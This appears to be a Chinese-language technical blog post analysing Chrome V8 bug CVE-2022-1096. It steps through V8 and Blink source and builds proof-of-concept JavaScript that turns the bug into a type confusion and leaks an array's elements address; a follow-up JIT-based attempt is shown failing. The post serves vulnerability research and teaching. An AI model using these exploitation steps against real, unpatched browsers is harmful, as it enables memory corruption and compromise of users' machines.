CVE-2022-1096 是 CVE-2021-30551 的变种。

准备环境

阅读 Google P0 的分析报告 得知修复的版本是 99.0.4844.84,搜到对应的发布记录,依照时间找到上一个版本是 99.0.4844.82,使用 获取旧版本的 Chrome 中的方法构建出对应的二进制文件。

分析成因

将 POC 代码稍加修改,方便调试:

style = document.createElement('p').style;
alert(1);
style.prop = { toString: () => {
  style.prop = 1;
}};
alert(2)

根据之前调试 CVE-2021-30551 积累的经验,漏洞是在 v8/src/objects/objects.cc:Object::SetProperty 函数执行过程中触发的,在 alert(1) 弹出后,在 Object::SetProperty 函数开头下断点,然后点掉弹窗,让程序断下后开始调试。

Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
                                StoreOrigin store_origin,
                                Maybe<ShouldThrow> should_throw) {
  if (it->IsFound()) {
    bool found = true;
    Maybe<bool> result =
        SetPropertyInternal(it, value, should_throw, store_origin, &found);
    if (found) return result;
  }

  if (!CheckContextualStoreToJSGlobalObject(it, should_throw)) {
    return Nothing<bool>();
  }
  return AddDataProperty(it, value, NONE, should_throw, store_origin);
}

大体和 CVE-2021-30551 的流程一致,虽然 style 对象还没有名为 prop 的属性,但是由于 style 是设置了 INTERCEPTOR 的 DOM 对象, 属性的查找结果是找到了 INTERCEPTOR,it->IsFound() 条件满足,程序走到 SetPropertyInternal 中,经过多层调用,最终到达 V8CSSStyleDeclaration::NamedPropertySetterCallback 函调函数。

void V8CSSStyleDeclaration::NamedPropertySetterCallback(
    v8::Local<v8::Name> v8_property_name,
    v8::Local<v8::Value> v8_property_value,
    const v8::PropertyCallbackInfo<v8::Value>& info) {
  RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(
      info.GetIsolate(), "Blink_CSSStyleDeclaration_NamedPropertySetter");

  // 3.9.2. [[Set]]
  // https://webidl.spec.whatwg.org/#legacy-platform-object-set
  // step 1. If O and Receiver are the same object, then:
  if (info.Holder() == info.This()) {
    // step 1.2.1. Invoke the named property setter with P and V.
    v8::Isolate* isolate = info.GetIsolate();
    const ExceptionState::ContextType exception_state_context_type =
        ExceptionContext::Context::kNamedPropertySet;
    const char* const class_like_name = "CSSStyleDeclaration";
    ExceptionState exception_state(isolate, exception_state_context_type,
                                   class_like_name);

    // [CEReactions]
    CEReactionsScope ce_reactions_scope;

    v8::Local<v8::Object> v8_receiver = info.Holder();
    CSSStyleDeclaration* blink_receiver =
        V8CSSStyleDeclaration::ToWrappableUnsafe(v8_receiver);
    v8::Local<v8::Context> receiver_context =
        v8_receiver->GetCreationContextChecked();
    ScriptState* receiver_script_state = ScriptState::From(receiver_context);
    ScriptState* script_state = receiver_script_state;
    const AtomicString& blink_property_name =
        ToCoreAtomicString(v8_property_name.As<v8::String>());
    // 这里会把值转换成字符串,触发其 toString 方法的回调
    auto&& blink_property_value =
        NativeValueTraits<IDLStringTreatNullAsEmptyString>::ArgumentValue(
            isolate, 1, v8_property_value, exception_state);
    if (UNLIKELY(exception_state.HadException())) {
      return;
    }
    auto&& return_value = blink_receiver->AnonymousNamedSetter(
        script_state, blink_property_name, blink_property_value);
    bindings::V8SetReturnValue(info, return_value);
    // CSSStyleDeclaration is abusing named properties.
    // Do not intercept if the property is not found.
    return;
  }

  // Do not intercept.  Fallback to OrdinarySetWithOwnDescriptor.
}

在 Interceptor 回调中有一个把属性值转换成字符串的操作,如果值是一个 object 的话,这里会调用它的 toString 方法,而 toString 方法里会再次设置 prop 属性,这次设置的值为 1,设置完成后控制流最终返回到外层的值设置中,乍看和 CVE-2021-30551 好像没什么区别,为什么 CVE-2021-30551 的补丁没有解决这个问题呢? 仔细查看修补的地方发现,由于 CVE-2021-30551 漏洞触发需要将 DOM 对象 HTMLEmbed 作为普通对象的原型,所以其补丁代码放到了针对原型的属性设置代码路径上,并不能覆盖直接给 DOM 对象设置属性的情况。


⚠️ 提示:由于 prop 属性并不是这个 Interceptor 期望处理的属性,AnonymousNamedSetter 的返回值为 NamedPropertySetterResult::kDidNotIntercept ,代表Interceptor 不处理此属性设置操作。 结果就是 Interceptor 在这个流程里实际只起了调用 toString 回调函数的作用,不影响实际赋值给 prop 属性的值。


Maybe<bool> Object::SetPropertyInternal(LookupIterator* it,
                                        Handle<Object> value,
                                        Maybe<ShouldThrow> should_throw,
                                        StoreOrigin store_origin, bool* found) {
 ...

  do {
    switch (it->state()) {
      ...

      case LookupIterator::INTERCEPTOR: {
        if (it->HolderIsReceiverOrHiddenPrototype()) {
		    /// CVE-2022-1096 的控制流会走这里
          Maybe<bool> result =
              JSObject::SetPropertyWithInterceptor(it, should_throw, value);
          if (result.IsNothing() || result.FromJust()) return result;
        } else {
          Maybe<PropertyAttributes> maybe_attributes =
              JSObject::GetPropertyAttributesWithInterceptor(it);
          if (maybe_attributes.IsNothing()) return Nothing<bool>();
          if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
            return WriteToReadOnlyProperty(it, value, should_throw);
          }
          // >> CVE-2021-30551 的修补位置
          // At this point we might have called interceptor's query or getter
          // callback. Assuming that the callbacks have side effects, we use
          // Object::SetSuperProperty() which works properly regardless on
          // whether the property was present on the receiver or not when
          // storing to the receiver.
          if (maybe_attributes.FromJust() == ABSENT) {
            // Proceed lookup from the next state.
            it->Next();
          } else {
            // Finish lookup in order to make Object::SetSuperProperty() store
            // property to the receiver.
            it->NotFound();
          }
          return Object::SetSuperProperty(it, value, store_origin,
                                          should_throw);
        }
        break;
      }
	  ...
    }
    it->Next();
  } while (it->IsFound());

  *found = false;
  return Nothing<bool>();
}

实现利用

距离我实现 CVE-2021-30551 的利用已经过去一段时间了,一些很重要的细节我都已经忘记了,这次就重新实现下漏洞的利用过程,加深印象。

类型混淆

利用这个漏洞要先将漏洞转换成类型混淆,按照 CVE-2021-30551 的利用思路,通过触发两次漏洞,创建出两个有微妙区别的对象,然后再配合上 JIT 编译生成的代码,就可以把这个漏洞转换成类型混淆。

先触发一次漏洞得到一个具有两个 prop 属性的对象 s1,代码如下:

s1 = document.createElement('p').style;
v1 = { toString: () => {s1.prop = 1} };
s1.prop = v1;

之后再一次触发漏洞, 创建一个新对象 s2,不过这次漏洞触发的时候,我们希望能在设置第二个 prop 属性时,在控制流走到 LookupIterator::ApplyTransitionToDataProperty 函数时 simple_transition 条件为 false,这样控制流会走到 ReloadPropertyInformation 函数中,重新在 从对象中搜索 prop 属性的位置存储到 state_ 中,搜索算法是从属性描述符的数组的开头线性搜索,这样搜到的结果就是第一个 prop 属性的描述符,而不是刚刚添加的第二个 prop。

/// 添加属性的关键函数
Maybe<bool> Object::AddDataProperty(LookupIterator* it, Handle<Object> value,
                                    PropertyAttributes attributes,
                                    Maybe<ShouldThrow> should_throw,
                                    StoreOrigin store_origin) {
  ...

  if (it->IsElement(*receiver)) {
    ...
  } else {
	/// <<< 这里开始是添加属性的关键点
    it->UpdateProtector();
    // Migrate to the most up-to-date map that will be able to store |value|
    // under it->name() with |attributes|.
    /// <<< 这里先准备一个存储了新属性描述符的新 map
    it->PrepareTransitionToDataProperty(receiver, value, attributes,
                                        store_origin);
    DCHECK_EQ(LookupIterator::TRANSITION, it->state());
    /// <<< 将新的 map 应用到 receiver 对象
    it->ApplyTransitionToDataProperty(receiver);

    // Write the property value.
    /// <<< 将属性值写入 receiver 对象
    it->WriteDataValue(value, true);
	...
  }

  return Just(true);
}

void LookupIterator::ApplyTransitionToDataProperty(
    Handle<JSReceiver> receiver) {
  ...
  Handle<Map> transition = transition_map();
  bool simple_transition = // <<<<< 关键点1
      transition->GetBackPointer(isolate_) == receiver->map(isolate_);

  ...

  if (simple_transition) {
    number_ = transition->LastAdded();
    property_details_ = transition->GetLastDescriptorDetails(isolate_);
    state_ = DATA;
  } else if (receiver->map(isolate_).is_dictionary_map()) {
	...
  } else {
    ReloadPropertyInformation<false>(); // <<<<< 关键点2
  }
}

template <bool is_element>
void LookupIterator::ReloadPropertyInformation() {
  state_ = BEFORE_PROPERTY;
  interceptor_state_ = InterceptorState::kUninitialized;
  state_ = LookupInHolder<is_element>(holder_->map(isolate_), *holder_); // <<< 关键点3
  DCHECK(IsFound() || !holder_->HasFastProperties(isolate_));
}

这样一来程序运行 WriteDataValue 函数时,就会到的用第一个属性的描述符和第二个属性的值作为参数调用 WriteToField 函数。由于正常情况下,这里描述符存和值的类型时匹配的,在 WriteToField 函数中不会严格的校验 value 是否和描述符指定的类型匹配,有几处强制类型转换操作,我们利用这点来实现漏洞的利用。

void LookupIterator::WriteDataValue(Handle<Object> value,
                                    bool initializing_store) {
  DCHECK_EQ(DATA, state_);
#if V8_ENABLE_WEBASSEMBLY
  // WriteDataValueToWasmObject() must be used instead for writing to
  // WasmObjects.
  DCHECK(!holder_->IsWasmObject(isolate_));
#endif  // V8_ENABLE_WEBASSEMBLY

  Handle<JSReceiver> holder = GetHolder<JSReceiver>();
  if (IsElement(*holder)) {
	...
  } else if (holder->HasFastProperties(isolate_)) {
    DCHECK(holder->IsJSObject(isolate_));
    if (property_details_.location() == PropertyLocation::kField) {
      // Check that in case of VariableMode::kConst field the existing value is
      // equal to |value|.
      DCHECK_IMPLIES(!initializing_store && property_details_.constness() ==
                                                PropertyConstness::kConst,
                     IsConstFieldValueEqualTo(*value));
      JSObject::cast(*holder).WriteToField(descriptor_number(),
                                           property_details_, *value); /// <<< 关键点
    } else {
		...
    }
  } else if (holder->IsJSGlobalObject(isolate_)) {
	...
  } else {
	...
  }
}

void JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details,
                            Object value) {
  DCHECK_EQ(PropertyLocation::kField, details.location());
  DCHECK_EQ(PropertyKind::kData, details.kind());
  DisallowGarbageCollection no_gc;
  FieldIndex index = FieldIndex::ForDescriptor(map(), descriptor);
  if (details.representation().IsDouble()) {
    // Manipulating the signaling NaN used for the hole and uninitialized
    // double field sentinel in C++, e.g. with bit_cast or value()/set_value(),
    // will change its value on ia32 (the x87 stack is used to return values
    // and stores to the stack silently clear the signalling bit).
    uint64_t bits;
    if (value.IsSmi()) {
      bits = bit_cast<uint64_t>(static_cast<double>(Smi::ToInt(value)));
    } else if (value.IsUninitialized()) {
      bits = kHoleNanInt64;
    } else {
      DCHECK(value.IsHeapNumber()); /// DCHECK 是类似 assert 的操作,发布版不生效
      bits = HeapNumber::cast(value).value_as_bits(kRelaxedLoad);
    }
    auto box = HeapNumber::cast(RawFastPropertyAt(index));
    box.set_value_as_bits(bits, kRelaxedStore);
  } else {
    FastPropertyAtPut(index, value);
  }
}

从 LookupIterator::ApplyTransitionToDataProperty 函数可以看到当 simple_transition 为 false, 也就是 transition map 的父 map,不是当前 receiver 的 map 时,程序才会走到上面所说的可利用的控制流上,那么怎么才能触发这个条件呢?这就需要看 transition map 的创建过程了,如果单步调试过这一段流程,可以知道 transition map 是在之前的 LookupIterator::PrepareTransitionToDataProperty -> Map::TransitionToDataProperty 这一段控制流中创建的。

void LookupIterator::PrepareTransitionToDataProperty(
    Handle<JSReceiver> receiver, Handle<Object> value,
    PropertyAttributes attributes, StoreOrigin store_origin) {

  ...
  Handle<Map> map(receiver->map(isolate_), isolate_);

  ...

  Handle<Map> transition =
      Map::TransitionToDataProperty(isolate_, map, name_, value, attributes,
                                    PropertyConstness::kConst, store_origin);
  state_ = TRANSITION;
  transition_ = transition;
  ...
}

Handle<Map> Map::TransitionToDataProperty(Isolate* isolate, Handle<Map> map,
                                          Handle<Name> name,
                                          Handle<Object> value,
                                          PropertyAttributes attributes,
                                          PropertyConstness constness,
                                          StoreOrigin store_origin) {
  ...

  // Migrate to the newest map before storing the property.
  map = Update(isolate, map);

  Map maybe_transition =
      TransitionsAccessor(isolate, map)
          .SearchTransition(*name, PropertyKind::kData, attributes);
  if (!maybe_transition.is_null()) {
    Handle<Map> transition(maybe_transition, isolate);
    InternalIndex descriptor = transition->LastAdded();

    DCHECK_EQ(attributes, transition->instance_descriptors(isolate)
                              .GetDetails(descriptor)
                              .attributes());

    return UpdateDescriptorForValue(isolate, transition, descriptor, constness,
                                    value);
  }

  // Do not track transitions during bootstrapping.
  TransitionFlag flag =
      isolate->bootstrapper()->IsActive() ? OMIT_TRANSITION : INSERT_TRANSITION;
  MaybeHandle<Map> maybe_map;
  if (!map->TooManyFastProperties(store_origin)) {
    Representation representation = value->OptimalRepresentation(isolate);
    Handle<FieldType> type = value->OptimalType(isolate, representation);
    maybe_map = Map::CopyWithField(isolate, map, name, type, attributes,
                                   constness, representation, flag);
  }

  Handle<Map> result;
  if (!maybe_map.ToHandle(&result)) {
      ...
    } else {
      result = Map::Normalize(isolate, map, CLEAR_INOBJECT_PROPERTIES, reason);
    }
  }

  return result;
}

Handle<Map> Map::Update(Isolate* isolate, Handle<Map> map) {
  if (!map->is_deprecated()) return map;
  ...
  MapUpdater mu(isolate, map);
  return mu.Update();
}

结合代码可知一般情况下,transition map 的创建动作,就是先拷贝一份 receiver 的 map ,再追加上新属性的属性描述符。但是如果当前 receiver 的 map 已经被打上了 deprecated 标记了,情况就有所不同,这种情况下 receiver 现有的 map 已经废弃了,要先用 MapUpdater 寻找/创建一个更合适的 map 作为 transition map 的父 map,这样一来 transition 的父 map 就不是 receiver 原本的 map(MapUpdater 并不会更新 receiver 的 map),最终导致 simple_transition 为 false。

那么问题就又变成了,怎么才能让 receiver 的 map 被打上 deprecated 标记呢?先在代码里搜索一下看看哪里会修改 map 的 deprecated 字段。查看 is_deprecated 的函数定义可以得知,函数是用 BIT_FIELD_ACCESSORS 宏定义的,这个宏还定义了修改函数 set_is_deprecated,搜索 set_is_deprecated 字符串发现函数 Map::DeprecateTransitionTree 中有调用,再搜索 DeprecateTransitionTree 的调用,可以搜到 MapUpdater::ConstructNewMap,再向上搜索找到 MapUpdater::ReconfigureToDataField、MapUpdater::ReconfigureElementsKind。通过分析这两个函数的定义和引用的地方,结合 CVE-2021-30551 的 POC 可以推测出,这两个函数是在修改对象已有属性类型、数组元素类型时触发的,CVE-2021-30551 采用的是触发 ReconfigureToDataField 这条代码路径 SetPropertyInternal -> PrepareForDataProperty -> PrepareForDataProperty -> UpdateDescriptorForValue -> ReconfigureToDataField。(另一条路径是否可行?)

void Map::DeprecateTransitionTree(Isolate* isolate) {
  if (is_deprecated()) return;
  DisallowGarbageCollection no_gc;
  TransitionsAccessor transitions(isolate, *this, &no_gc);
  int num_transitions = transitions.NumberOfTransitions();
  for (int i = 0; i < num_transitions; ++i) {
    transitions.GetTarget(i).DeprecateTransitionTree(isolate);
  }
  DCHECK(!constructor_or_back_pointer().IsFunctionTemplateInfo());
  DCHECK(CanBeDeprecated());
  set_is_deprecated(true);
  if (FLAG_log_maps) {
    LOG(isolate, MapEvent("Deprecate", handle(*this, isolate), Handle<Map>()));
  }
  dependent_code().DeoptimizeDependentCodeGroup(
      isolate, DependentCode::kTransitionGroup);
  NotifyLeafMapLayoutChange(isolate);
}

具体操作是在 s2 的两次 prop 属性设置之间,通过给 s1 的 prop 属性赋值的方式,修改 s1 的 prop 属性的类型。这样 s1 的旧 map 会被标记为 deptecate,因为 s1 和 s2 是共享同一个 map 的,s2 当前使用的 map 就变成 deprecate 的了,等 s2 的第二次 prop 赋值时,由于 map 被打上了 deprecated 标记,就走入了非 simple_transition 的代码路径。

利用代码如下:

s2 = document.createElement('p').style;
v2 = { toString: () => {s2.prop = 1; s1.prop = 1.1; };
s2.prop = v2;

⚠️ 提示:不清楚 s1 和 s2 为什么共享同一个 map 的同学,可以去了解一下 v8 中 map transition 的相关内容,我在 CVE-2021-30551 分析 这篇的”分析 map 的变化过程”这一小节也有简单介绍。


在属性访问的时候也是用同一个线性搜索算法,所以之后访问对象的 prop 属性,实际访问的都是存储在第一个 prop 属性处的值,对于 s1 来说是第一次 WriteToField 写入的,对于 s2 来说是第二次。

分析 JSObject::WriteToField 代码,结合上 CVE-2021-30551 的利用经验,可以很容易想到,如果把 v2 改成一个数组的话,就可以直接通过 s2.prop 读取到数组的 Elements。

var s2 = document.createElement('p').style;
var v2 = [1.1, 1.2, 1.3];
v2.toString =  () => {
	s2.prop = 1
	s1.prop = 1.1
};
s2.prop = v2;

实际验证下效果,验证过程中还要用到一些浮点数和大整数之间的类型转换,我这次把它封装成了模块 conversion.mjs,方便以后复用。

完整代码如下:

// conversion.mjs
var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var u64 = new BigUint64Array(buf);
var u32 = new Uint32Array(buf);

function ftou(f) {
	f64[0] = f;
	return u64[0];
}

function utof(u) {
	u64[0] = u;
	return f64[0];
}

function low32(u) {
	u64[0] = u;
	return u32[0];
}

function high32(u) {
	u64[0] = u;
	return u32[1];
}

export {ftou, utof, low32, high32};
// main.js
import * as cvs from './module/conversion.mjs'

var s1 = document.createElement('p').style;
var v1 = { toString: () => {s1.prop = 1} };
s1.prop = v1;


var s2 = document.createElement('p').style;
var v2 = [1.1, 1.2, 1.3];
v2.toString =  () => {
	s2.prop = 1
	s1.prop = 1.1
};

alert(1);
s2.prop = v2;

alert(`0x${cvs.ftou(s2.prop).toString(16)}`);
<!--exp.html-->
<html>
	<body>
		<script type="module" src="./main.js">
		</script>
		PWN:)
	</body>
</html>

⚠️提示:浏览器原生支持的模块的用法参考 MDN,也可以用Typescript,Babel 提供的模块机制。


如下图所示,读取到的结果和调试器中看到的 v2 的内容一致。

![[Pasted image 20221205000128.png]]

光能泄漏一个数组 Elements 的地址还是不够的,还需要进一步的转化获得一个修改什么数据的能力。先借鉴 CVE-2021-30551 POC 中的思路,优化一下上面的利用代码,引入一个新的属性 deprecate 来专门触发 map 废弃,这样 prop 就可以支持更多的数据类型之间的混淆了,代码修改如下:

// main.js
import * as cvs from './module/conversion.mjs'                  

const smi_value = 1;                                            
const double_value = 1.1;                                       

var s1 = document.createElement('p').style;                     
var v1 = {                                                      
	toString: () => {
		// 2. 创建一个包含 double(HeapNumber) 类型的 confuzion 属性的新 map                                             
		s1.confuzion = double_value;                                
	}                                                             
};                                                              

// 1. 创建一个包含 SMI类型的 deprecate 属性的新 map 
s1.deprecate = smi_value;                    
// 3. 创建一个包含 object 类型的 confuzion 属性的新 map
s1.confuzion = v1;                                              

var s2 = document.createElement('p').style;                     
var v2 = [1.1, 1.2, 1.3];                                       
v2.toString =  () => {      
	// 5. 搜索到 2 中创建好的 map
	s2.confuzion = double_value;
	// 6. deprecate 属性的类型从 SMI 泛化到了 HeapNumber,创建新 map 替代 
	// 1. 2. 3. 创建的 map,并且把旧 map 被标记为 deprecate                                  
	s1.deprecate = double_value;                                  
};                                                              

// 4.搜索到 1. 中创建好的 map
s2.deprecate = smi_value;     
// 7. 发现 s2 目前的 map 已经被标记为 deprecated,先更新到 6. 中创建的新 map,然后又以 
// confuzion 属性名,搜索新 map,还是搜索到 6. 中创建的新 map,也是 s1 目前在用的 map
s2.confuzion = v2;                                              

alert(`0x${cvs.ftou(s2.confuzion).toString(16)}`);              

再来分析一下目前都可以控制哪些东西,s1.confuzion 的类型是完全可控的,s2.confuzion 我认为是不太可控的,为了触发漏洞 s2.confuzion 一定要是个包含 toString 函数的对象,这意味着它一定要是 HeapObject 类型的。


⚠️ 提示:这块只是我自己的理解,不一定对,也许有什么我不知道的特性让非 HeapObject 类型的值也可以有自定义的 toString 回调。


之前分析过 CVE-2021-30551 的思路是,让 s2.confuzion 是一个浮点数,s1.confuzion 是一个数组,就可以把写入 s2.confuzion 的浮点数,当作数组的地址使用。但这个漏洞 s2.confuzion 一定要是 HeapObject,我就想到是不是可以选择浮点数数组,然后让 s1.confuzion 是对象数组。回顾一下上面的 WriteField 函数,对象的写入由 FastPropertyAtPut 函数完成,就是把对象的指针存储到属性中,这个赋值操作并不能直接触发类型混淆,需要结合上 JIT 编译生成的代码才行。

void JSObject::FastPropertyAtPut(FieldIndex index, Object value,
                                 WriteBarrierMode mode) {
  if (index.is_inobject()) {
    RawFastInobjectPropertyAtPut(index, value, mode);
  } else {
    DCHECK_EQ(UPDATE_WRITE_BARRIER, mode);
    property_array().set(index.outobject_array_index(), value);
  }
}

void JSObject::RawFastInobjectPropertyAtPut(FieldIndex index, Object value,
                                            WriteBarrierMode mode) {
  DCHECK(index.is_inobject());
  int offset = index.offset();
  RELAXED_WRITE_FIELD(*this, offset, value);
  CONDITIONAL_WRITE_BARRIER(*this, offset, value, mode);
}

基本思路是定义一个读取参数对象的 confusion[0] 的函数,然后用 s1 触发这个函数的 JIT 编译,之后以 s2 为参数调用 JIT 编译好的函数,如果没有触发 deoptimize 的话,s2.confusion 就会被当作对象数组使用,而实际上它是一个浮点数数组,数组里存储的内容都是可控的。

先用下面的代码测试下:

import * as cvs from './module/conversion.mjs'

const smi_value = 1;
const double_value = 1.1;

const obj_arr = [{}, {}, {}];

var s1 = document.createElement('p').style;
var v1 = {
	toString: () => {
		s1.confuzion = obj_arr;
	}
};

s1.deprecate = smi_value;
s1.confuzion = v1;

var s2 = document.createElement('p').style;
var v2 = [1.1, 1.2, 1.3];
v2.toString =  () => {
	s2.confuzion = obj_arr;
	s1.deprecate = double_value;
};

s2.deprecate = smi_value;
s2.confuzion = v2;

var jit = (obj) => {
	return obj.confuzion[0];
}

for(let i = 0; i < 20000; ++i) {
	jit(s1);
}

alert(jit(s2));

不出意外的结果是不行,alert 弹窗输出了正确的浮点值 1.1,下面我分析一下为什么不行。我对 turbofan 的整个编译过程虽然不是一无所知吧,但是可以说是一窍不通。所以我采用的分析方案就是抓取 trace log 和 CVE-2021-30551 的进行对比,找到它们的区别。

抓取 trace log 需要指定命令行 ./chrome.exe --no-sandbox --enable-logging=stderr --js-flags="--trace-turbo"

简单对比之后我发现,主要的区别在 V8.TFInlining 阶段。jit 函数很简单,访问对象的属性 confuzion 以及访问数组的 [0] 元素两个操作,分别对应 IR 图中的 JSLoadNamed 和 JSLoadProperty 两个节点。对于 CVE-2021-30551 的 EXP,这两个节点在 V8.TFInlining 阶段满足了优化的条件,都被替换成了更底层的内存加载操作 LoadFiled、LoadElement。而对于本次的 EXP JSLoadNamed 节点没有满足优化条件,仍然保持是 JSLoadNamed,这个区别就使得直接导致类型混淆的 CheckMaps 优化的条件没有被满足,编译生成的代码在访问 confuzion[0] 还是会检查 confuzion 的 map 是否满足条件,不会触发类型混淆。

![[Pasted image 20221213233338.png]]

![[Pasted image 20221213233416.png]]


⚠️ 提示:如果不理解这里,需要回忆一下 CVE-2021-30551 的 利用过程,有关键的一步是 JSLoadNamed 和 JSLoadElements 两个节点 Inline 后得到的两个 ChecksMaps 被优化编译器认为是重复的,第二个在优化过程中被删掉了。如果第二个 CheckMaps 一直保留的话,程序运行过程中,就能正确的识别出 obj.confuzion 的类型与预期不匹配,走入 deoptimize 的流程,避免类型混淆的发生。详情可以参考我之前对 CVE-2021-30551 的分析